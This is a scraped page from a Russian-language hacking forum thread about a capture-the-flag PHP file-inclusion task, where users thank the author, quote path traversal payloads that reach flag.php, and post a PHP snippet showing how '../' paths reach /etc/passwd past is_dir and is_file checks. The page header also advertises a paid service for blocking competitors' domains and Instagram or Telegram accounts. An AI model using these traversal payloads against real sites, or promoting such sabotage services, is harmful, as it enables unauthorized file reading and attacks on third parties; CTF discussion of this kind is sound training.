Task #1

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
Task #1

Страница 8 из 8

« Первая

Опции темы

Поиск в этой теме

Опции просмотра

#71

28.12.2018, 22:22

cerber3000

Новичок

Регистрация: 08.11.2008

Сообщений: 19

С нами: 9213998

Репутация: 6

Прошу прощения, что открыл карты раньше времени. Думал что обсуждать можно как стукнет 28.12. За задание огромное спасибо!

#72

28.12.2018, 23:01

qwaszx000

Новичок

Регистрация: 10.02.2018

Сообщений: 27

С нами: 4345526

Репутация: 7

Да, огромная благодарность автору.

Надеюсь будет ещё много заданий.

Всех с наступающим!

#73

28.12.2018, 23:04

rudi

Новичок

Регистрация: 03.06.2010

Сообщений: 21

С нами: 8389843

Репутация: 0

Вот блин, а я подставлял хлам не на уровень ниже а на уровень выше...

Спасибо позновательно

#74

29.12.2018, 08:12

dooble

Участник форума

Регистрация: 30.12.2016

Сообщений: 218

С нами: 4931606

Репутация: 138

.SpoilerTarget" type="button">Spoiler: cerber3000 undelete

[QUOTE="cerber3000"]
↑
вот некоторые из них, я предполагаю их больше но не проверял.
index.php?f=>../flag.php
index.php?f=<><><><>../flag.php
index.php?f=<><><><>

#75

18.06.2021, 11:47

Baskin-Robbins

Участник форума

Регистрация: 15.09.2018

Сообщений: 236

С нами: 4033046

Репутация: 212

К слову(на всякий случай добавлю), не только file_exist.

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]// php 7.3

[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/etc/../etc/"[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"])){include[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'passwd'[/COLOR][COLOR="#007700"];}[/COLOR][COLOR="#FF8000"]// passwd
[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'passwd'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// passwd

[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/etc/aaaa/../"[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"])){include[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'passwd'[/COLOR][COLOR="#007700"];}[/COLOR][COLOR="#FF8000"]// nothing
[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'passwd'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// passwd

[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/etc/../etc/passwd"[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]is_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"])){include[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"];}[/COLOR][COLOR="#FF8000"]// passwd
[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// passwd

[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/etc/aaaa/../passwd"[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]is_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"])){include[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"];}[/COLOR][COLOR="#FF8000"]// nothing
[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// passwd
[/COLOR][/COLOR]

#76

29.06.2021, 00:25

CyberTro1n

Постоянный

Регистрация: 20.02.2016

Сообщений: 862

С нами: 5383766

Репутация: 4

Цитата:

Сообщение от Baskin-Robbins

↑
К слову(на всякий случай добавлю), не только file_exist.

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]// php 7.3

[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/etc/../etc/"[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"])){include[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'passwd'[/COLOR][COLOR="#007700"];}[/COLOR][COLOR="#FF8000"]// passwd
[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'passwd'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// passwd

[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/etc/aaaa/../"[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"])){include[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'passwd'[/COLOR][COLOR="#007700"];}[/COLOR][COLOR="#FF8000"]// nothing
[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'passwd'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// passwd

[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/etc/../etc/passwd"[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]is_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"])){include[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"];}[/COLOR][COLOR="#FF8000"]// passwd
[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// passwd

[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/etc/aaaa/../passwd"[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]is_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"])){include[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"];}[/COLOR][COLOR="#FF8000"]// nothing
[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// passwd
[/COLOR][/COLOR]

Братец. Твои рыбатоты много стоят. Спасибо бро, Душевно, за наш малый городок, огромное!

Страница 8 из 8

« Первая

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Создать сделку

Мои сделки

Сделка